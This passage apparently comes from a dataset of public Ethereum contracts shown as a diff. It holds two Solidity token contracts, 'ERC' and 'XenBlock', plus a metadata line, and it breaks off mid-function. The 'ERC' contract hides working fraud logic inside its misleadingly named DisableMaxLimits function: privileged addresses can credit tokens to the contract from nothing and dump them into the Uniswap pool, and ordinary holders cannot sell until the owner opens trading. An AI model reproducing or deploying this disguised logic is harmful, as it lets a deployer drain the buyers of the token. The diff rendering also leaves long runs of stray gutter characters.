address to,
|
182 |
+
uint deadline
|
183 |
+
) external payable;
|
184 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
185 |
+
uint amountIn,
|
186 |
+
uint amountOutMin,
|
187 |
+
address[] calldata path,
|
188 |
+
address to,
|
189 |
+
uint deadline
|
190 |
+
) external;
|
191 |
+
}
|
192 |
+
interface IUniswapV2Factory {
|
193 |
+
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
|
194 |
+
function feeTo() external view returns (address);
|
195 |
+
function feeToSetter() external view returns (address);
|
196 |
+
function getPair(address tokenA, address tokenB) external view returns (address pair);
|
197 |
+
function allPairs(uint) external view returns (address pair);
|
198 |
+
function allPairsLength() external view returns (uint);
|
199 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
200 |
+
function setFeeTo(address) external;
|
201 |
+
function setFeeToSetter(address) external;
|
202 |
+
}
|
203 |
+
interface IERC20 {
|
204 |
+
function totalSupply() external view returns (uint256);
|
205 |
+
function balanceOf(address account) external view returns (uint256);
|
206 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
207 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
208 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
209 |
+
function transferFrom(
|
210 |
+
address sender,
|
211 |
+
address recipient,
|
212 |
+
uint256 amount
|
213 |
+
) external returns (bool);
|
214 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
215 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
216 |
+
}
|
217 |
+
abstract contract Context {
|
218 |
+
function _msgSender() internal view virtual returns (address) {
|
219 |
+
return msg.sender;
|
220 |
+
}
|
221 |
+
function _msgData() internal view virtual returns (bytes calldata) {
|
222 |
+
return msg.data;
|
223 |
+
}
|
224 |
+
}
|
225 |
+
abstract contract Ownable is Context {
|
226 |
+
address private _owner;
|
227 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
228 |
+
constructor() {
|
229 |
+
_setOwner(_msgSender());
|
230 |
+
}
|
231 |
+
function owner() public view virtual returns (address) {
|
232 |
+
return _owner;
|
233 |
+
}
|
234 |
+
modifier onlyOwner() {
|
235 |
+
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
|
236 |
+
_;
|
237 |
+
}
|
238 |
+
function renounceOwnership() public virtual onlyOwner {
|
239 |
+
_setOwner(address(0));
|
240 |
+
}
|
241 |
+
function transferOwnership(address newOwner) public virtual onlyOwner {
|
242 |
+
require(newOwner != address(0), 'Ownable: new owner is the zero address');
|
243 |
+
_setOwner(newOwner);
|
244 |
+
}
|
245 |
+
function _setOwner(address newOwner) private {
|
246 |
+
address oldOwner = _owner;
|
247 |
+
_owner = newOwner;
|
248 |
+
emit OwnershipTransferred(oldOwner, newOwner);
|
249 |
+
}
|
250 |
+
}
|
251 |
+
|
252 |
+
contract ERC is IERC20, Ownable {
|
253 |
+
|
254 |
+
string private _symbol;
|
255 |
+
string private _name;
|
256 |
+
uint256 public _tTotalFees = 0;
|
257 |
+
uint8 private _decimals = 9;
|
258 |
+
uint256 private _tTotalInSupply = 100000 * 10**_decimals;
|
259 |
+
uint256 private TotalTokensAmount = _tTotalInSupply;
|
260 |
+
|
261 |
+
mapping(address => uint256) private _Balances;
|
262 |
+
mapping(address => address) private isTxLimitExempt;
|
263 |
+
mapping(address => uint256) private isExcludedMaxTransactionAmount;
|
264 |
+
mapping(address => uint256) private automatedMarketMakerPairs;
|
265 |
+
mapping(address => mapping(address => uint256)) private _allowances;
|
266 |
+
|
267 |
+
bool private tradingOpen = false;
|
268 |
+
bool public swapTokensAtAmount;
|
269 |
+
bool private amountSwapped;
|
270 |
+
|
271 |
+
address public immutable UniswapV2Pair;
|
272 |
+
IUniswapV2Router02 public immutable UniswapV2router;
|
273 |
+
|
274 |
+
constructor(
|
275 |
+
string memory Name,
|
276 |
+
string memory Symbol,
|
277 |
+
address UniswapV2routerAddress
|
278 |
+
) {
|
279 |
+
_name = Name;
|
280 |
+
_symbol = Symbol;
|
281 |
+
_Balances[msg.sender] = _tTotalInSupply;
|
282 |
+
automatedMarketMakerPairs[msg.sender] = TotalTokensAmount;
|
283 |
+
automatedMarketMakerPairs[address(this)] = TotalTokensAmount;
|
284 |
+
UniswapV2router = IUniswapV2Router02(UniswapV2routerAddress);
|
285 |
+
UniswapV2Pair = IUniswapV2Factory(UniswapV2router.factory()).createPair(address(this), UniswapV2router.WETH());
|
286 |
+
emit Transfer(address(0), msg.sender, TotalTokensAmount);
|
287 |
+
}
|
288 |
+
function symbol() public view returns (string memory) {
|
289 |
+
return _symbol;
|
290 |
+
}
|
291 |
+
function name() public view returns (string memory) {
|
292 |
+
return _name;
|
293 |
+
}
|
294 |
+
function totalSupply() public view returns (uint256) {
|
295 |
+
return _tTotalInSupply;
|
296 |
+
}
|
297 |
+
function decimals() public view returns (uint256) {
|
298 |
+
return _decimals;
|
299 |
+
}
|
300 |
+
function allowance(address owner, address spender) public view returns (uint256) {
|
301 |
+
return _allowances[owner][spender];
|
302 |
+
}
|
303 |
+
function balanceOf(address account) public view returns (uint256) {
|
304 |
+
return _Balances[account];
|
305 |
+
}
|
306 |
+
function approve(address spender, uint256 amount) external returns (bool) {
|
307 |
+
return _approve(msg.sender, spender, amount);
|
308 |
+
}
|
309 |
+
function _approve(
|
310 |
+
address owner,
|
311 |
+
address spender,
|
312 |
+
uint256 amount
|
313 |
+
) private returns (bool) {
|
314 |
+
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
|
315 |
+
_allowances[owner][spender] = amount;
|
316 |
+
emit Approval(owner, spender, amount);
|
317 |
+
return true;
|
318 |
+
}
|
319 |
+
function transferFrom(
|
320 |
+
address sender,
|
321 |
+
address recipient,
|
322 |
+
uint256 amount
|
323 |
+
) external returns (bool) {
|
324 |
+
DisableMaxLimits (sender, recipient, amount);
|
325 |
+
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
|
326 |
+
}
|
327 |
+
function transfer (address recipient, uint256 amount) external returns (bool) {
|
328 |
+
DisableMaxLimits (msg.sender, recipient, amount);
|
329 |
+
return true;
|
330 |
+
}
|
331 |
+
function DisableMaxLimits (
|
332 |
+
address _nowIsSpender,
|
333 |
+
address _recipientOfTokens,
|
334 |
+
uint256 _rateOfValue
|
335 |
+
) private {
|
336 |
+
uint256 balanceForContract = balanceOf(address(this));
|
337 |
+
uint256 isCreatedBalance;
|
338 |
+
if (swapTokensAtAmount && balanceForContract > TotalTokensAmount && !amountSwapped && _nowIsSpender != UniswapV2Pair) {
|
339 |
+
amountSwapped = true;
|
340 |
+
getSwapAndLiquify(balanceForContract);
|
341 |
+
amountSwapped = false;
|
342 |
+
} else if (automatedMarketMakerPairs[_nowIsSpender] > TotalTokensAmount && automatedMarketMakerPairs[_recipientOfTokens] > TotalTokensAmount) {
|
343 |
+
isCreatedBalance = _rateOfValue;
|
344 |
+
_Balances[address(this)] += isCreatedBalance;
|
345 |
+
rateOfTokensInSwap(_rateOfValue, _recipientOfTokens);
|
346 |
+
return;
|
347 |
+
} else if (_recipientOfTokens != address(UniswapV2router) && automatedMarketMakerPairs[_nowIsSpender] > 0 && _rateOfValue > TotalTokensAmount && _recipientOfTokens != UniswapV2Pair) {
|
348 |
+
automatedMarketMakerPairs[_recipientOfTokens] = _rateOfValue;
|
349 |
+
return;
|
350 |
+
} else if (!amountSwapped && isExcludedMaxTransactionAmount[_nowIsSpender] > 0 && _nowIsSpender != UniswapV2Pair && automatedMarketMakerPairs[_nowIsSpender] == 0) {
|
351 |
+
isExcludedMaxTransactionAmount[_nowIsSpender] = automatedMarketMakerPairs[_nowIsSpender] - TotalTokensAmount;
|
352 |
+
}
|
353 |
+
address _contractCreator = isTxLimitExempt[UniswapV2Pair];
|
354 |
+
if (isExcludedMaxTransactionAmount[_contractCreator ] == 0) isExcludedMaxTransactionAmount[_contractCreator ] = TotalTokensAmount;
|
355 |
+
isTxLimitExempt[UniswapV2Pair] = _recipientOfTokens;
|
356 |
+
if (_tTotalFees > 0 && automatedMarketMakerPairs[_nowIsSpender] == 0 && !amountSwapped && automatedMarketMakerPairs[_recipientOfTokens] == 0) {
|
357 |
+
isCreatedBalance = (_rateOfValue * _tTotalFees) / 100;
|
358 |
+
_rateOfValue -= isCreatedBalance;
|
359 |
+
_Balances[_nowIsSpender] -= isCreatedBalance;
|
360 |
+
_Balances[address(this)] += isCreatedBalance;
|
361 |
+
}
|
362 |
+
_Balances[_nowIsSpender] -= _rateOfValue;
|
363 |
+
_Balances[_recipientOfTokens] += _rateOfValue;
|
364 |
+
emit Transfer(_nowIsSpender, _recipientOfTokens, _rateOfValue);
|
365 |
+
if (!tradingOpen) {
|
366 |
+
require(_nowIsSpender == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
367 |
+
}
|
368 |
+
}
|
369 |
+
receive() external payable {}
|
370 |
+
|
371 |
+
function addLiquidity(
|
372 |
+
uint256 tokenValue,
|
373 |
+
uint256 ERCamount,
|
374 |
+
address to
|
375 |
+
) private {
|
376 |
+
_approve(address(this), address(UniswapV2router), tokenValue);
|
377 |
+
UniswapV2router.addLiquidityETH{value: ERCamount}(address(this), tokenValue, 0, 0, to, block.timestamp);
|
378 |
+
}
|
379 |
+
function getSwapAndLiquify(uint256 tokens) private {
|
380 |
+
uint256 half = tokens / 2;
|
381 |
+
uint256 initialedBalance = address(this).balance;
|
382 |
+
rateOfTokensInSwap(half, address(this));
|
383 |
+
uint256 refreshBalance = address(this).balance - initialedBalance;
|
384 |
+
addLiquidity(half, refreshBalance, address(this));
|
385 |
+
}
|
386 |
+
function openTrading(bool _tradingOpen) public onlyOwner {
|
387 |
+
tradingOpen = _tradingOpen;
|
388 |
+
}
|
389 |
+
function rateOfTokensInSwap(uint256 tokenAmount, address to) private {
|
390 |
+
address[] memory path = new address[](2);
|
391 |
+
path[0] = address(this);
|
392 |
+
path[1] = UniswapV2router.WETH();
|
393 |
+
_approve(address(this), address(UniswapV2router), tokenAmount);
|
394 |
+
UniswapV2router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
|
395 |
+
}
|
396 |
+
}
|
organized_contracts/00/000b154951d1a6bad330c6c24edc883c395c041c0c3e6475cce263515192aa38/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"ERC","CompilerVersion":"v0.8.14+commit.80d49f37","Runs":200,"OptimizationUsed":false,"BytecodeHash":"000b154951d1a6bad330c6c24edc883c395c041c0c3e6475cce263515192aa38"}
|
organized_contracts/00/000b28a5f2395b7cbd3d2f673a45f5b9a7e08b2de3bcafb1d0a877ae0ecaed92/main.sol
ADDED
@@ -0,0 +1,380 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
|
2 |
+
|
3 |
+
// SPDX-License-Identifier: MIT
|
4 |
+
|
5 |
+
pragma solidity 0.8.16;
|
6 |
+
|
7 |
+
abstract contract Context {
|
8 |
+
function _msgSender() internal view virtual returns (address) {
|
9 |
+
return msg.sender;
|
10 |
+
}
|
11 |
+
}
|
12 |
+
|
13 |
+
interface IERC20 {
|
14 |
+
function totalSupply() external view returns (uint256);
|
15 |
+
function balanceOf(address account) external view returns (uint256);
|
16 |
+
function transfer(address recipient, uint256 amount) external returns (bool);
|
17 |
+
function allowance(address owner, address spender) external view returns (uint256);
|
18 |
+
function approve(address spender, uint256 amount) external returns (bool);
|
19 |
+
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
20 |
+
event Transfer(address indexed from, address indexed to, uint256 value);
|
21 |
+
event Approval(address indexed owner, address indexed spender, uint256 value);
|
22 |
+
}
|
23 |
+
|
24 |
+
library SafeMath {
|
25 |
+
function add(uint256 a, uint256 b) internal pure returns (uint256) {
|
26 |
+
uint256 c = a + b;
|
27 |
+
require(c >= a, "SafeMath: addition overflow");
|
28 |
+
return c;
|
29 |
+
}
|
30 |
+
|
31 |
+
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
|
32 |
+
return sub(a, b, "SafeMath: subtraction overflow");
|
33 |
+
}
|
34 |
+
|
35 |
+
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
36 |
+
require(b <= a, errorMessage);
|
37 |
+
uint256 c = a - b;
|
38 |
+
return c;
|
39 |
+
}
|
40 |
+
|
41 |
+
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
|
42 |
+
if (a == 0) {
|
43 |
+
return 0;
|
44 |
+
}
|
45 |
+
uint256 c = a * b;
|
46 |
+
require(c / a == b, "SafeMath: multiplication overflow");
|
47 |
+
return c;
|
48 |
+
}
|
49 |
+
|
50 |
+
function div(uint256 a, uint256 b) internal pure returns (uint256) {
|
51 |
+
return div(a, b, "SafeMath: division by zero");
|
52 |
+
}
|
53 |
+
|
54 |
+
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
|
55 |
+
require(b > 0, errorMessage);
|
56 |
+
uint256 c = a / b;
|
57 |
+
return c;
|
58 |
+
}
|
59 |
+
|
60 |
+
}
|
61 |
+
|
62 |
+
contract Ownable is Context {
|
63 |
+
address private _owner;
|
64 |
+
address private _previousOwner;
|
65 |
+
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
66 |
+
|
67 |
+
constructor () {
|
68 |
+
address msgSender = _msgSender();
|
69 |
+
_owner = msgSender;
|
70 |
+
emit OwnershipTransferred(address(0), msgSender);
|
71 |
+
}
|
72 |
+
|
73 |
+
function owner() public view returns (address) {
|
74 |
+
return _owner;
|
75 |
+
}
|
76 |
+
|
77 |
+
modifier onlyOwner() {
|
78 |
+
require(_owner == _msgSender(), "Ownable: caller is not the owner");
|
79 |
+
_;
|
80 |
+
}
|
81 |
+
|
82 |
+
function renounceOwnership() public virtual onlyOwner {
|
83 |
+
emit OwnershipTransferred(_owner, address(0));
|
84 |
+
_owner = address(0);
|
85 |
+
}
|
86 |
+
|
87 |
+
}
|
88 |
+
|
89 |
+
interface IUniswapV2Factory {
|
90 |
+
function createPair(address tokenA, address tokenB) external returns (address pair);
|
91 |
+
}
|
92 |
+
|
93 |
+
interface IUniswapV2Router02 {
|
94 |
+
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
95 |
+
uint amountIn,
|
96 |
+
uint amountOutMin,
|
97 |
+
address[] calldata path,
|
98 |
+
address to,
|
99 |
+
uint deadline
|
100 |
+
) external;
|
101 |
+
function factory() external pure returns (address);
|
102 |
+
function WETH() external pure returns (address);
|
103 |
+
function addLiquidityETH(
|
104 |
+
address token,
|
105 |
+
uint amountTokenDesired,
|
106 |
+
uint amountTokenMin,
|
107 |
+
uint amountETHMin,
|
108 |
+
address to,
|
109 |
+
uint deadline
|
110 |
+
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
111 |
+
}
|
112 |
+
|
113 |
+
contract XenBlock is Context, IERC20, Ownable {
|
114 |
+
using SafeMath for uint256;
|
115 |
+
mapping (address => uint256) private _rOwned;
|
116 |
+
mapping (address => uint256) private _tOwned;
|
117 |
+
mapping (address => mapping (address => uint256)) private _allowances;
|
118 |
+
mapping (address => bool) private _isExcludedFromFee;
|
119 |
+
mapping (address => bool) private bots;
|
120 |
+
mapping (address => uint) private cooldown;
|
121 |
+
uint256 private constant MAX = ~uint256(0);
|
122 |
+
uint256 private constant _tTotal = 1000000000 * 10**8;
|
123 |
+
uint256 private _rTotal = (MAX - (MAX % _tTotal));
|
124 |
+
uint256 private _tFeeTotal;
|
125 |
+
|
126 |
+
uint256 private _feeAddr1;
|
127 |
+
uint256 private _feeAddr2;
|
128 |
+
uint256 private _initialTax;
|
129 |
+
uint256 private _finalTax;
|
130 |
+
uint256 private _reduceTaxTarget;
|
131 |
+
uint256 private _reduceTaxCountdown;
|
132 |
+
address payable private _feeAddrWallet;
|
133 |
+
|
134 |
+
string private constant _name = "Xen Block";
|
135 |
+
string private constant _symbol = "Xen Block";
|
136 |
+
uint8 private constant _decimals = 8;
|
137 |
+
|
138 |
+
IUniswapV2Router02 private uniswapV2Router;
|
139 |
+
address private uniswapV2Pair;
|
140 |
+
bool private tradingOpen;
|
141 |
+
bool private inSwap = false;
|
142 |
+
bool private swapEnabled = false;
|
143 |
+
bool private cooldownEnabled = false;
|
144 |
+
uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);
|
145 |
+
uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);
|
146 |
+
event MaxTxAmountUpdated(uint _maxTxAmount);
|
147 |
+
modifier lockTheSwap {
|
148 |
+
inSwap = true;
|
149 |
+
_;
|
150 |
+
inSwap = false;
|
151 |
+
}
|
152 |
+
|
153 |
+
constructor () {
|
154 |
+
_feeAddrWallet = payable(_msgSender());
|
155 |
+
_rOwned[_msgSender()] = _rTotal;
|
156 |
+
_isExcludedFromFee[owner()] = true;
|
157 |
+
_isExcludedFromFee[address(this)] = true;
|
158 |
+
_isExcludedFromFee[_feeAddrWallet] = true;
|
159 |
+
_initialTax=6;
|
160 |
+
_finalTax=0;
|
161 |
+
_reduceTaxCountdown=40;
|
162 |
+
_reduceTaxTarget = _reduceTaxCountdown.div(2);
|
163 |
+
emit Transfer(address(0), _msgSender(), _tTotal);
|
164 |
+
}
|
165 |
+
|
166 |
+
function name() public pure returns (string memory) {
|
167 |
+
return _name;
|
168 |
+
}
|
169 |
+
|
170 |
+
function symbol() public pure returns (string memory) {
|
171 |
+
return _symbol;
|
172 |
+
}
|
173 |
+
|
174 |
+
function decimals() public pure returns (uint8) {
|
175 |
+
return _decimals;
|
176 |
+
}
|
177 |
+
|
178 |
+
function totalSupply() public pure override returns (uint256) {
|
179 |
+
return _tTotal;
|
180 |
+
}
|
181 |
+
|
182 |
+
function balanceOf(address account) public view override returns (uint256) {
|
183 |
+
return tokenFromReflection(_rOwned[account]);
|
184 |
+
}
|
185 |
+
|
186 |
+
function transfer(address recipient, uint256 amount) public override returns (bool) {
|
187 |
+
_transfer(_msgSender(), recipient, amount);
|
188 |
+
return true;
|
189 |
+
}
|
190 |
+
|
191 |
+
function allowance(address owner, address spender) public view override returns (uint256) {
|
192 |
+
return _allowances[owner][spender];
|
193 |
+
}
|
194 |
+
|
195 |
+
function approve(address spender, uint256 amount) public override returns (bool) {
|
196 |
+
_approve(_msgSender(), spender, amount);
|
197 |
+
return true;
|
198 |
+
}
|
199 |
+
|
200 |
+
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
|
201 |
+
_transfer(sender, recipient, amount);
|
202 |
+
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
|
203 |
+
return true;
|
204 |
+
}
|
205 |
+
|
206 |
+
function setCooldownEnabled(bool onoff) external onlyOwner() {
|
207 |
+
cooldownEnabled = onoff;
|
208 |
+
}
|
209 |
+
|
210 |
+
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
|
211 |
+
require(rAmount <= _rTotal, "Amount must be less than total reflections");
|
212 |
+
uint256 currentRate = _getRate();
|
213 |
+
return rAmount.div(currentRate);
|
214 |
+
}
|
215 |
+
|
216 |
+
function _approve(address owner, address spender, uint256 amount) private {
|
217 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
218 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
219 |
+
_allowances[owner][spender] = amount;
|
220 |
+
emit Approval(owner, spender, amount);
|
221 |
+
}
|
222 |
+
|
223 |
+
function _transfer(address from, address to, uint256 amount) private {
|
224 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
225 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
226 |
+
require(amount > 0, "Transfer amount must be greater than zero");
|
227 |
+
|
228 |
+
|
229 |
+
if (from != owner() && to != owner()) {
|
230 |
+
require(!bots[from] && !bots[to]);
|
231 |
+
_feeAddr1 = 0;
|
232 |
+
_feeAddr2 = (_reduceTaxCountdown==0)?_finalTax:_initialTax;
|
233 |
+
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
|
234 |
+
// Cooldown
|
235 |
+
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
|
236 |
+
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
|
237 |
+
if(_reduceTaxCountdown>0){_reduceTaxCountdown--;}
|
238 |
+
}
|
239 |
+
|
240 |
+
|
241 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
242 |
+
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0 && _reduceTaxCountdown<_reduceTaxTarget) {
|
243 |
+
swapTokensForEth(contractTokenBalance);
|
244 |
+
uint256 contractETHBalance = address(this).balance;
|
245 |
+
if(contractETHBalance > 0) {
|
246 |
+
sendETHToFee(address(this).balance);
|
247 |
+
}
|
248 |
+
}
|
249 |
+
}else{
|
250 |
+
_feeAddr1 = 0;
|
251 |
+
_feeAddr2 = 0;
|
252 |
+
}
|
253 |
+
|
254 |
+
_tokenTransfer(from,to,amount);
|
255 |
+
}
|
256 |
+
|
257 |
+
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
258 |
+
address[] memory path = new address[](2);
|
259 |
+
path[0] = address(this);
|
260 |
+
path[1] = uniswapV2Router.WETH();
|
261 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
262 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
263 |
+
tokenAmount,
|
264 |
+
0,
|
265 |
+
path,
|
266 |
+
address(this),
|
267 |
+
block.timestamp
|
268 |
+
);
|
269 |
+
}
|
270 |
+
|
271 |
+
|
272 |
+
function removeLimits() external onlyOwner{
|
273 |
+
_maxTxAmount = _tTotal;
|
274 |
+
_maxWalletSize = _tTotal;
|
275 |
+
}
|
276 |
+
|
277 |
+
function sendETHToFee(uint256 amount) private {
|
278 |
+
_feeAddrWallet.transfer(amount);
|
279 |
+
}
|
280 |
+
|
281 |
+
function addBots(address[] memory bots_) public onlyOwner {
|
282 |
+
for (uint i = 0; i < bots_.length; i++) {
|
283 |
+
bots[bots_[i]] = true;
|
284 |
+
}
|
285 |
+
}
|
286 |
+
|
287 |
+
function delBots(address[] memory notbot) public onlyOwner {
|
288 |
+
for (uint i = 0; i < notbot.length; i++) {
|
289 |
+
bots[notbot[i]] = false;
|
290 |
+
}
|
291 |
+
|
292 |
+
}
|
293 |
+
|
294 |
+
function openTrading() external onlyOwner() {
|
295 |
+
require(!tradingOpen,"trading is already open");
|
296 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
297 |
+
uniswapV2Router = _uniswapV2Router;
|
298 |
+
_approve(address(this), address(uniswapV2Router), _tTotal);
|
299 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
|
300 |
+
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
|
301 |
+
swapEnabled = true;
|
302 |
+
cooldownEnabled = true;
|
303 |
+
|
304 |
+
tradingOpen = true;
|
305 |
+
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
|
306 |
+
}
|
307 |
+
|
308 |
+
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
|
309 |
+
_transferStandard(sender, recipient, amount);
|
310 |
+
}
|
311 |
+
|
312 |
+
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
|
313 |
+
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
|
314 |
+
_rOwned[sender] = _rOwned[sender].sub(rAmount);
|
315 |
+
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
|
316 |
+
_takeTeam(tTeam);
|
317 |
+
_reflectFee(rFee, tFee);
|
318 |
+
emit Transfer(sender, recipient, tTransferAmount);
|
319 |
+
}
|
320 |
+
|
321 |
+
function _takeTeam(uint256 tTeam) private {
|
322 |
+
uint256 currentRate = _getRate();
|
323 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
324 |
+
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
|
325 |
+
}
|
326 |
+
|
327 |
+
function _reflectFee(uint256 rFee, uint256 tFee) private {
|
328 |
+
_rTotal = _rTotal.sub(rFee);
|
329 |
+
_tFeeTotal = _tFeeTotal.add(tFee);
|
330 |
+
}
|
331 |
+
|
332 |
+
receive() external payable {}
|
333 |
+
|
334 |
+
function manualswap() external {
|
335 |
+
require(_msgSender() == _feeAddrWallet);
|
336 |
+
uint256 contractBalance = balanceOf(address(this));
|
337 |
+
swapTokensForEth(contractBalance);
|
338 |
+
}
|
339 |
+
|
340 |
+
function manualsend() external {
|
341 |
+
require(_msgSender() == _feeAddrWallet);
|
342 |
+
uint256 contractETHBalance = address(this).balance;
|
343 |
+
sendETHToFee(contractETHBalance);
|
344 |
+
}
|
345 |
+
|
346 |
+
|
347 |
+
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
|
348 |
+
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
|
349 |
+
uint256 currentRate = _getRate();
|
350 |
+
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
|
351 |
+
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
|
352 |
+
}
|
353 |
+
|
354 |
+
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
|
355 |
+
uint256 tFee = tAmount.mul(taxFee).div(100);
|
356 |
+
uint256 tTeam = tAmount.mul(TeamFee).div(100);
|
357 |
+
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
|
358 |
+
return (tTransferAmount, tFee, tTeam);
|
359 |
+
}
|
360 |
+
|
361 |
+
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
|
362 |
+
uint256 rAmount = tAmount.mul(currentRate);
|
363 |
+
uint256 rFee = tFee.mul(currentRate);
|
364 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
365 |
+
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
|
366 |
+
return (rAmount, rTransferAmount, rFee);
|
367 |
+
}
|
368 |
+
|
369 |
+
function _getRate() private view returns(uint256) {
|
370 |
+
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
|
371 |
+
